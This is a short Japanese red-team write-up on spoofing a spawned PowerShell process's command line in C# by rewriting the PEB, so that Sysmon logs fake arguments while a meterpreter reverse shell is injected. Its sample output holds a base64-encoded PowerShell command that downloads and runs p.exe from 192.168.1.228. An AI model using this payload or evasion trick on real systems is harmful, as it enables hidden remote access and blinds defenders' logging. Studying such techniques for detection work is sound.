
C#から新しいプロセスを起動する際にコマンドラインを偽装する方法
C# を使用して meterpreter シェルを注入し、コマンドラインを偽装する例です。コマンドラインはプロセス環境ブロック (PEB) に保存され、新しいプロセスが開始されるとログに記録され、Process Hacker やタスクマネージャーなどのツールに表示されます。
このコードは、Adam Chester/XPN による How to Argue like Cobalt Strike ブログ記事に基づいています。この記事では、Cobalt Strike がビーコンを注入する際に、どのようにしてプロセスのコマンドラインを偽装するかが説明されています。
これを基に、PowerShell プロセスを生成し、meterpreter リバースシェルを注入する C# バージョンを作成しました。.Net バイナリでこれを行う必要は確かにありませんが、コマンドをどのように偽装できるかを示しています。
新しいプロセスは中断状態で、偽装されたコマンドライン引数とともに起動されます。
偽装されたコマンドはログに記録されますが、プロセス PEB 内のコマンドラインを変更することができます。メインスレッドが再開されると、プロセスは PEB 内の新しいコマンドラインを使用します。
コードの実行例を以下に示します。
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
この例では、PowerShell を使用して meterpreter リバースシェルを注入していますが、偽装されたコマンドライン引数でログに記録されます。
Sysmon は元の (偽装された) コマンドラインをログに記録します。

Process Hacker は実行されたコマンドを明らかにしません。
